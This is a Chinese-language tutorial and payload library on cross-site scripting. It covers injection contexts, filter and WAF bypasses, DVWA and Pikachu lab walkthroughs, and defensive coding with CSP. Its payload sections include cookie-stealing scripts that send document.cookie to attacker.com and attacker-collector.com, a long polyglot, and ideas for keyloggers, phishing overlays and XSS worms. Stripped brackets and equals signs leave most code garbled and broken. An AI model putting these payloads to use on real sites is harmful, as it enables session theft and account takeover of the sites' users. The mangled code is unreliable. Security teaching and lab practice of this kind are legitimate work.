1. 项目概述为什么我们需要一份“攻击脚本”总结干了这么多年Web安全我越来越觉得对于开发者或者安全测试人员来说最头疼的不是理解XSS跨站脚本攻击的原理而是当你在渗透测试、代码审计或者应急响应时面对一个疑似存在XSS的点脑子里一片空白不知道该构造什么样的Payload去验证和利用。原理都懂反射型、存储型、DOM型说起来头头是道但一到实战就只会用个scriptalert(1)/script然后被各种WAFWeb应用防火墙或者浏览器的XSS Auditor无情拦截最后只能挠头放弃。这就是我整理这份“XSS安全常用攻击脚本总结”的初衷。它不是一个教你攻击别人的手册而是一份防御者的武器库和学习者的实验指南。它的核心价值在于将抽象的漏洞原理转化为具体、可操作、可验证的测试用例集合。对于安全工程师你可以把它当作一个速查表在授权测试中快速验证漏洞的存在性和危害等级对于开发者你可以把它当作一个“负面教材清单”在代码审查和功能测试时逐一检查自己的应用是否能抵御这些攻击对于学习者你可以通过复现这些Payload在DVWA、Pikachu等靶场中亲手感受XSS的威力与精巧。这份总结聚焦于“脚本”本身也就是那些被注入到页面中并最终被浏览器执行的代码片段。我们会绕过那些泛泛而谈的理论直接深入到Payload的构造艺术、绕过技巧和实战场景中。你会发现一个简单的弹窗背后是前端解析逻辑、浏览器特性、WAF规则与攻击者智慧之间一场永不停歇的猫鼠游戏。2. XSS攻击脚本的核心分类与构造逻辑在开始罗列具体脚本之前我们必须先建立清晰的分类框架。不同的注入点、不同的过滤规则、不同的利用目标决定了我们使用截然不同的Payload。盲目地堆砌脚本列表是没有意义的理解其背后的构造逻辑才能举一反三。2.1 基于HTML上下文的Payload构造这是最常见的情况。攻击者的输入最终出现在HTML文档的某个位置浏览器会将其作为HTML的一部分进行解析。我们需要根据输入点所处的“标签环境”和“属性环境”来精心构造。2.1.1 标签内文本上下文这是最简单的场景。例如一个博客的评论框用户输入的内容被直接放入div或p标签内部。基础Payloadscriptalert(document.domain)/script构造逻辑直接闭合当前的文本节点插入一个新的脚本标签。但现代浏览器和WAF对此类明显标签的过滤非常严格。绕过思路利用未过滤的HTML标签如果script被过滤可以尝试img src1 onerroralert(1)、svg onloadalert(1)、body onloadalert(1)。img标签的onerror事件在图片加载失败时触发是经典的利用方式。大小写混淆ScRiPtalert(1)/sCrIpT。嵌套绕过scrscriptiptalert(1)/scr/scriptipt有些简单的过滤逻辑会移除中间的script字符串移除后剩下的字符正好又组合成新的script。利用HTML5新标签/属性details open ontogglealert(1)当details元素展开时会触发ontoggle事件。2.1.2 HTML标签属性上下文用户的输入被放在了某个HTML标签的属性值里比如input value“USER_INPUT”或a href“USER_INPUT”。基础Payload“scriptalert(1)/script或 ” οnmοuseοver“alert(1)”构造逻辑闭合属性值与标签先闭合前面的双引号然后闭合当前标签再插入新的恶意标签。例如“img src1 onerroralert(1)。不闭合标签构造新事件不闭合标签而是闭合属性值后在当前标签内添加一个事件处理器。例如” onfocus“alert(1)” autofocus“。autofocus属性可以让元素自动获得焦点从而触发onfocus事件无需用户交互。针对href、src等URL属性的JavaScript协议javascript:alert(1)。当用户点击一个a href“javascript:alert(1)”的链接时会执行JS代码。注意现代浏览器对javascript:协议在部分上下文中有一定限制。注意在属性上下文中确保你的Payload能正确闭合引号。如果服务端没有给属性值加引号如input valueUSER_INPUT那么空格就可以用于分隔属性Payload可以简化为1 onmouseoveralert(1)。2.1.3 绕过HTML实体编码如果服务端对用户输入中的、、、“、‘等字符进行了HTML实体编码如转为lt;那么上述基于标签的注入基本都会失效。此时需要寻找没有进行编码的注入点或者转向DOM型XSS。2.2 基于JavaScript上下文的Payload构造这种情况更隐蔽也更考验技术。用户的输入被直接拼接到了script标签内部的JavaScript代码中或者出现在了onclick、onload这类事件处理器的JavaScript代码字符串里。2.2.1 字符串内联拼接例如scriptvar userInput ‘USER_INPUT’; /script。基础Payload’; alert(1); //构造逻辑闭合字符串先用单引号’闭合前面的字符串。插入恶意代码接着写入你的JS代码例如alert(1);。注释掉后续内容使用//单行注释或/* */多行注释将原代码中后续的字符如闭合的单引号和分号注释掉避免语法错误。最终效果var userInput ‘’; alert(1); //’;。变种如果原字符串用双引号包裹则用“闭合。如果输入点不在字符串末尾可能还需要处理后续的代码结构。2.2.2 函数调用参数拼接例如scriptsomeFunction(‘USER_INPUT’); /script。Payload’); alert(1); //构造逻辑闭合参数字符串和函数调用的括号然后开始新的语句。最终someFunction(‘’); alert(1); //’);。2.2.3 在JS中跳出script标签这是一种特殊技巧。当你的输入点在script标签内但无法通过闭合字符串来执行代码时可能因为复杂的解析或过滤可以尝试直接跳出JS上下文回到HTML上下文。Payload/scriptimg src1 onerroralert(1)构造逻辑浏览器在解析HTML时看到/script标签会立即终止当前脚本块的执行无论它是否在字符串内。然后后续的img标签会被当作普通的HTML元素解析从而触发onerror事件。这对于一些粗糙的“在script标签内过滤危险字符”的防御措施是有效的。2.3 基于DOM操作的Payload构造DOM型XSSDOM型XSS与前两者有本质区别。漏洞的根源不在于服务端响应中包含了恶意脚本而在于前端JavaScript代码不安全地操作了DOM将用户可控的数据如URL的location.hash、location.search或者document.referrer写入了页面的DOM树中并且这些数据最终被当作HTML或JS解析。2.3.1 典型的危险DOM APIdocument.write() / document.writeln()直接写入文档流如果内容包含用户输入且未过滤极其危险。利用?inputscriptalert(1)/scriptelement.innerHTML / element.outerHTML直接设置元素的HTML内容。利用?inputimg src1 onerroralert(1)element.setAttribute(name, value)如果value来自用户输入且name是事件类属性如onclick。利用需要能控制属性名和值场景相对较少。eval()、setTimeout()、setInterval()的第一个参数是字符串如果字符串由用户输入拼接而成。利用?input1);alert(1);//location、window.name、postMessage数据源这些来源的数据如果被直接用于上述危险操作也会引发DOM XSS。2.3.2 DOM型XSS的利用特点纯前端漏洞服务端响应可能是完全“干净”的所有恶意代码都在浏览器端动态生成。这导致传统的服务端日志监控和WAF可能无法检测到这类攻击。利用链可能很长攻击载荷可能隐藏在URL片段#之后的部分即location.hash这部分内容不会发送到服务器只在浏览器端被JavaScript读取和使用。Payload构造更灵活由于是JS代码在处理数据Payload需要符合JS语法并最终能导致HTML注入或JS执行。例如利用innerHTML时需要构造有效的HTML标签利用eval时需要构造合法的JS语句。3. 高级绕过技术与实战Payload库了解了基础构造逻辑我们进入更刺激的环节如何突破各种防御措施。下面我将分门别类地总结实战中高频使用的Payload并解释其绕过原理。3.1 绕过基础关键词过滤很多防护措施会简单粗暴地黑名单过滤script、onerror、javascript:等关键词。大小写绕过ScRiPt、sCrIpT、OnErRoR。双写绕过针对简单的字符串替换。例如过滤程序将script替换为空字符串。那么Payloadscrscriptipt经过替换后中间的script被移除两边的字符拼在一起又形成了新的script。插入无关字符/标签利用HTML和JS的解析特性。利用Tab/换行img src1 onerroralert(1)在属性和值之间插入Tab或换行有时能绕过基于正则的严格匹配。利用/img/src1/onerroralert(1)在标签名和属性间加/浏览器通常能正常解析。利用不可见字符在某些上下文中插入URL编码的空白字符如%00,%0a,%0d可能干扰过滤逻辑。使用稀有事件或标签svg onloadalert(1)SVG标签本身是XML但其内联事件在HTML中同样有效。video onloadstartalert(1)sourceonloadstart事件。body onpageshowalert(1)onpageshow事件。input onfocusalert(1) autofocus结合autofocus自动触发。details open ontogglealert(1)点击展开时触发。3.2 绕过引号和括号过滤如果过滤了单双引号和圆括号事件处理器和函数调用会受限。使用反引号Template Literals在现代JS中反引号可以定义字符串并且可以嵌入表达式。对于某些JS上下文alert1可能有效但需要alert函数本身可用且上下文支持ES6语法。更常见的是用于拼接如 onerroralert1。使用String.fromCharCode编码将字符串转换为字符编码。例如alert(1)可以构造为eval(String.fromCharCode(97,108,101,114,116,40,49,41))。这可以绕过对特定关键词的字符串匹配。利用location或name属性iframe onloadlocation‘javascript:alert1。或者利用window.name跨页面传递数据并执行。使用throw语句配合异常处理器这是一种非常规但有趣的技巧。scriptthrow onerroralert, 1/script。这里onerror被赋值给alert函数然后throw 1抛出一个异常如果全局onerror被我们劫持就会执行。但这依赖于特定的环境配置。3.3 利用JavaScript伪协议和Data URI当注入点出现在URL属性href、src、action等时。JavaScript伪协议javascript:alert(document.domain)变种javascript:alert(1)是最基础的。可以编写更复杂的JS代码用void(0)防止页面跳转javascript:alert(1);void(0);限制现代浏览器在iframe的src、img的src等场景下对javascript:协议的执行有严格限制。但在a标签的href中仍较为常见。Data URIdata:text/html,scriptalert(1)/script这是一个非常强大的载体。它允许我们将一个完整的HTML文档内联在URL中。不仅可以执行脚本还可以渲染完整的页面。在object、embed、iframe的data属性中使用object data“data:text/html,scriptalert(1)/script”/object。Base64编码data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg。这能绕过对尖括号等字符的简单检查。3.4 基于字符编码与混淆的绕过这是对抗WAF和深度过滤系统的“艺术”。HTML实体编码虽然服务端编码能防御但浏览器在JS上下文和某些属性中会先解码。例如在script标签内lt;会被解码为。但如果服务端错误地允许了编码后的输入而前端又直接将其放入innerHTML就可能造成二次解码执行。例如Payloadlt;img src1 onerroralert(1)gt;服务端不过滤前端执行div.innerHTML userInput;浏览器会将其解码为img src1 onerroralert(1)并执行。JS Unicode转义在JavaScript字符串中可以使用\uXXXX的形式表示Unicode字符。例如alert(1)可以写成\u0061\u006c\u0065\u0072\u0074(1)。这能有效绕过基于关键词字符串匹配的WAF规则。JS Hex编码同样可以使用\xXX的形式表示十六进制字符。例如alert可以写成\x61\x6c\x65\x72\x74。混合编码与拼接将上述技巧组合使用构造出对人类难以阅读但对浏览器完全合法的Payload。例如img src1 onerror\u0061\u006c\u0065\u0072\u00741。3.5 存储型XSS的持久化与蠕虫构思反射型XSS需要诱骗用户点击链接而存储型XSS的Payload被保存在服务器上如数据库所有访问特定页面的用户都会中招危害更大。常见注入点用户资料昵称、头像URL、个性签名、文章评论、论坛帖子、站内信、商品评价、日志记录等任何用户可控且会再次展示给其他用户的地方。Payload设计考量隐蔽性避免使用明显的alert()。可以采用静默攻击如窃取Cookiescriptfetch(‘https://attacker.com/steal?c’document.cookie)/script。兼容性考虑Payload在不同浏览器、不同页面位置的稳定性。蠕虫潜力结合CSRF跨站请求伪造让中招用户的浏览器自动执行恶意操作并传播Payload。例如在社交网站中利用XSS注入一段脚本该脚本会以当前用户身份自动发布一条包含相同XSS Payload的新状态或消息从而实现自我传播。注意此技术仅用于安全研究在未授权环境中实施是违法的实战Payload示例窃取Cookiescript var img new Image(); img.src ‘http://attacker-collector.com/steal?cookie’ encodeURIComponent(document.cookie); /script或者使用更隐蔽的fetchAPI或XMLHttpRequest。4. 靶场实战从Pikachu/DVWA到真实场景思维掌握了Payload库我们需要在受控环境中验证和深化理解。Pikachu和DVWADamn Vulnerable Web Application是绝佳的练手靶场。4.1 Pikachu靶场XSS关卡精解Pikachu靶场的XSS模块覆盖了反射型GET/POST、存储型、DOM型等多种场景并且设置了不同的过滤等级。4.1.1 反射型XSS (GET)场景搜索框输入内容直接回显在页面。低级通常无过滤直接scriptalert(‘xss’)/script即可。中级可能过滤了script标签。尝试img src1 onerroralert(‘xss’)或svg onloadalert(‘xss’)。高级可能进行了更严格的过滤或编码。需要分析过滤规则查看页面源码看输入被如何处置。尝试大小写、双写绕过。尝试事件处理器但注意onerror、onload可能也被过滤。尝试使用a标签和javascript:协议或者iframe、embed等标签。考虑是否在script标签内部尝试/scriptimg...跳出。4.1.2 存储型XSS场景留言板、个人信息页。Payload存入数据库。技巧测试长度限制前端可能有输入长度限制通过浏览器开发者工具F12修改maxlength属性即可突破。测试富文本框如果应用使用了富文本编辑器如CKEditor、UEditor它可能默认只允许安全的HTML标签。需要测试编辑器是否禁用了script标签但可能遗漏了img的onerror事件或者某些特殊的HTML标签。有时需要切换到“源代码”模式进行注入。持久化观察提交Payload后刷新页面、从不同浏览器访问确认Payload是否持续存在并执行。4.1.3 DOM型XSS场景Pikachu中有例如“通过location.href或innerHTML操作DOM”的关卡。方法不要看页面源码要看网络响应打开浏览器开发者工具的“网络”(Network)选项卡查看服务器返回的原始HTML。你会发现在DOM型XSS中响应里没有恶意脚本。分析前端JS在“源代码”(Sources)或“控制台”(Console)中找到处理用户输入通常是location.search或location.hash的JavaScript代码。构造Payload根据代码逻辑构造。例如代码是document.getElementById(‘demo’).innerHTML location.hash.substring(1);那么Payload就是#img src1 onerroralert(1)。注意location.hash包含#所以substring(1)是从第二个字符开始截取。4.2 DVWA靶场XSS关卡精解DVWA的XSS关卡反射型、存储型设置了从Low到Impossible的四个难度非常适合学习过滤机制的演进。4.2.1 Low难度无任何过滤直接注入即可。这是为了理解最原始的漏洞形态。4.2.2 Medium难度常见策略使用str_replace(‘script’, ‘’, $input)过滤script标签。绕过双写绕过scrscriptiptalert(1)/script。使用非script标签img src1 onerroralert(1)。大小写绕过ScRiPtalert(1)/ScRiPt注意DVWA的Medium难度可能对大小写不敏感需测试。4.2.3 High难度强化过滤使用正则表达式进行更严格的匹配例如preg_replace(‘/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i’, ‘’, $input)这种正则试图匹配所有大小写变体的script。绕过思路彻底放弃script标签。img标签的onerror事件通常仍然有效。尝试其他带事件的标签body onloadalert(1)、svg onloadalert(1)。如果注入点在a标签的href尝试javascript:alert(1)。注意DVWA High可能也会过滤javascript:关键词可以尝试Javascript:alert(1)大小写或使用HTML实体编码javascript:。4.2.4 Impossible难度根本性解决通常使用白名单过滤如HTMLPurifier库或严格的输出编码如对特殊字符进行HTML实体编码htmlspecialchars($input, ENT_QUOTES, ‘UTF-8’)。在这种防护下常规的XSS注入几乎不可能成功除非存在更底层的浏览器或前端框架漏洞。这个难度是为了展示正确的防御姿势。4.3 从靶场到真实世界的思维转变在真实世界中情况远比靶场复杂WAF的介入云WAF、硬件WAF会实时检测和阻断攻击流量。你的Payload可能需要更复杂的编码、分割或利用WAF规则盲区。前端框架的影响现代前端框架如React、Vue、Angular大多提供了默认的XSS防护如自动转义。但开发者如果错误地使用了v-htmlVue或dangerouslySetInnerHTMLReact等API仍然会引入漏洞。此时需要研究框架的特定上下文和安全机制。内容安全策略 (CSP)一个强大的浏览器安全特性。如果网站设置了严格的CSP即使存在XSS漏洞攻击者也无法加载外部脚本、执行内联脚本或向特定域名发送数据。绕过CSP是一个更高级的话题可能涉及JSONP端点、AngularJS Client-Side Template Injection等。输入点更隐蔽不仅仅是表单和URL参数。window.name、document.referrer、postMessage消息、WebSocket数据、文件上传的文件名/元数据、PDF生成器的输入等等都可能成为注入点。漏洞组合利用XSS很少单独存在。它常与CSRF结合进行权限提升与点击劫持结合进行伪装或者作为突破口进一步利用其他漏洞如SSRF、越权访问深入内网。5. 防御视角从攻击脚本反推安全编码实践作为防御者研究攻击脚本的终极目的是为了构建更坚固的防线。从这些千奇百怪的Payload中我们可以提炼出最核心的防御原则。5.1 黄金法则严格的输出编码/转义这是最根本、最有效的手段。原则是数据在哪个上下文中输出就使用对应上下文的编码规则。HTML上下文将、、、“、‘等字符转换为HTML实体lt;gt;amp;quot;#x27;。在PHP中使用htmlspecialchars($var, ENT_QUOTES, ‘UTF-8’)。在Java中使用OWASP ESAPI的encoder().encodeForHTML()。HTML属性上下文同上使用HTML实体编码。特别要注意属性值必须用引号括起来否则空格或/都可能被攻击者利用来分隔属性。JavaScript上下文将数据放入JS变量时必须进行JS编码。例如将引号、换行符等转义为\xXX或\uXXXX形式。更好的做法是避免将用户输入直接拼接进JS代码而是通过DOM API如textContent安全地设置内容。URL上下文如果用户输入要作为URL的一部分如参数值使用URL编码encodeURIComponent。CSS上下文较少见但也需注意使用CSS编码。实操心得不要尝试用正则表达式黑名单去“过滤”危险字符永远会存在漏网之鱼。白名单思想只允许已知安全的字符集比黑名单更可靠但对于富文本等复杂场景白名单也难以覆盖。因此对于富文本内容推荐使用经过严格安全审计的库如DOMPurify进行净化和过滤而不是自己造轮子。5.2 内容安全策略 (CSP) 的部署CSP通过HTTP头告诉浏览器哪些外部资源可以被加载和执行是缓解XSS危害的利器。一个严格的CSP策略示例Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com; object-src ‘none’; style-src ‘self’ ‘unsafe-inline’;default-src ‘self’;默认只允许加载同源资源。script-src ‘self’ https://trusted.cdn.com;脚本只能来自同源或指定的可信CDN禁止内联脚本执行如script.../script和onclick“...”。这是防御XSS的关键。object-src ‘none’;禁止object、embed、applet等堵住一些冷门攻击向量。style-src ‘self’ ‘unsafe-inline’;允许同源和行内样式style和style“”因为完全禁止行内样式对UI开发不友好可酌情调整。部署建议从Content-Security-Policy-Report-Only头开始只报告违规不拦截观察一段时间调整策略。使用nonce或hash来允许特定的内联脚本/样式而不是完全放开‘unsafe-inline’。确保所有必要的第三方资源JS库、字体、统计代码都加入白名单。5.3 安全的DOM操作与前端框架使用避免危险的API除非万不得已不要使用innerHTML、outerHTML、document.write()。优先使用textContent或setAttribute对于非事件属性来安全地设置文本或属性。框架的安全特性React默认对所有渲染内容进行转义。只有使用dangerouslySetInnerHTML时才有风险必须确保传入的内容是绝对可信或经过严格净化的。Vue{{ }}插值和v-bind绑定属性默认也是转义的。只有v-html指令存在风险需谨慎使用。Angular默认将所有值视为不可信并进行净化。绕过需要显式标记为可信。对用户输入进行客户端验证虽然客户端验证易被绕过绝不能替代服务端验证但它可以作为第一道快速防线和提升用户体验的手段。对于明显的恶意输入可以在前端进行提示。5.4 其他纵深防御措施输入验证与长度限制在服务端对输入进行严格的格式、类型、长度、范围检查。例如邮箱字段必须符合邮箱格式昵称限制长度和字符集如只允许中英文数字和常见符号。使用HttpOnly Cookie为会话Cookie设置HttpOnly属性可以阻止JavaScript通过document.cookieAPI访问它这样即使发生XSS攻击者也无法直接窃取用户的会话令牌。但这不影响Cookie的自动发送因此无法防御会话劫持但增加了攻击难度。定期安全审计与渗透测试无论是自研代码还是第三方组件都应定期进行安全代码审计和渗透测试。将本文总结的Payload作为测试用例库的一部分主动发现潜在漏洞。保持依赖更新及时更新应用所使用的Web框架、库和中间件修复已知的安全漏洞。6. 常见问题排查与工具使用技巧在实际的漏洞挖掘、测试和修复过程中你会遇到各种各样的问题。这里记录一些我踩过的坑和总结的技巧。6.1 为什么我的Payload不执行检查浏览器控制台 (Console)按下F12查看是否有JS错误。常见的错误有Refused to execute inline script because of Content-Security-Policy.- 网站启用了CSP禁止内联脚本执行。Uncaught SyntaxError: Unexpected token ...- 你的Payload导致了JS语法错误可能是引号或括号没有正确闭合。Uncaught ReferenceError: alert is not defined- 在某些严格模式或沙箱环境下如Chrome扩展、某些iframealert函数可能被禁用。可以尝试window.alert或使用其他函数如console.log但无弹窗效果来证明执行。查看页面源代码 (Page Source)右键“查看页面源代码”看看你的输入被服务器如何处理了。是否被HTML实体编码了标签是否被移除或破坏了使用开发者工具的元素检查器 (Elements/Inspector)查看渲染后的DOM树。有时源代码和渲染后的DOM不一致特别是动态生成的DOM。你的Payload可能在渲染后被修改或移除。检查网络请求 (Network)如果是反射型XSS查看你提交Payload的请求和响应。确认Payload是否被WAF拦截返回403等状态码或者在传输过程中被修改。尝试简化Payload先用一个最简单的img srcx onerroralert(1)测试如果不行再逐步增加复杂度定位是哪个部分被过滤。6.2 有哪些好用的XSS测试与辅助工具浏览器开发者工具 (F12)这是最核心的工具。Elements、Console、Sources、Network、Application查看Cookie、Storage等面板在测试中必不可少。Burp Suite / OWASP ZAP专业的Web安全测试工具。可以拦截、修改、重放HTTP请求自动化扫描并且通常带有编码/解码功能方便构造和测试Payload。Intruder模块可以对Payload中的某个位置进行模糊测试批量尝试各种变体。Decoder模块快速进行URL、HTML、Base64、ASCII Hex等编码解码。XSS Polyglots一种“万能”的XSS Payload设计得能在多种上下文和过滤规则下执行。例如一个著名的PolyglotjaVasCript:/*-/*////**/(/*/οnerrοralert(XSS) )//%0D%0A%0d%0a///stYle//titLe//teXtarEa//scRipt/--!\x3csVg/sVg/oNloAdalert(XSS)//\x3e。它同时尝试了JS协议、CSS注释、HTML标签、事件处理器等多种方式。注意Polyglots通常很长且怪异容易被WAF识别主要用于测试过滤器的强度。在线编码/解码平台如 https://www.url-encode-decode.com/方便快速进行各种转换。DOM Invader (Burp Suite 浏览器扩展)专门用于检测DOM型XSS的利器。它能自动识别Sources数据源如location.hash和Sinks危险的接收点如innerHTML并高亮显示极大提升了发现DOM XSS的效率。6.3 在授权测试中如何证明XSS的危害性仅仅弹出一个窗口alert(1)在渗透测试报告中可能被认为风险较低。你需要证明其真实的危害。窃取敏感信息构造Payload窃取当前用户的Cookie、Session Token、页面源码document.documentElement.outerHTML、本地存储localStorage中的数据并发送到你的受控服务器。必须在授权范围内使用测试专用的接收服务器模拟用户操作证明可以自动点击按钮、提交表单如修改密码、转账、关注用户、发布内容等即结合CSRF进行攻击。键盘记录注入键盘记录脚本窃取用户输入。钓鱼利用XSS在原网站页面上覆盖一个伪造的登录框“水坑攻击”诱骗用户输入账号密码。截图使用一些高级的JS库如html2canvas尝试对当前页面进行截图并外发证明可以获取视觉信息。最后再分享一个我个人在代码审计时的小习惯每当在代码中看到innerHTML、document.write、eval、setTimeout(string)、$.html()jQuery这些函数/方法时我都会立刻绷紧神经仔细追踪其参数的来源。如果来源涉及任何用户可控的输入包括间接输入如从URL参数解析而来这里就极有可能是一个XSS漏洞的藏身之处。养成这种条件反射能帮助你在漏洞造成实际损害之前就将其扼杀在摇篮里。安全是一个持续的过程而对这些攻击脚本的深刻理解是我们筑起防线最坚实的砖石。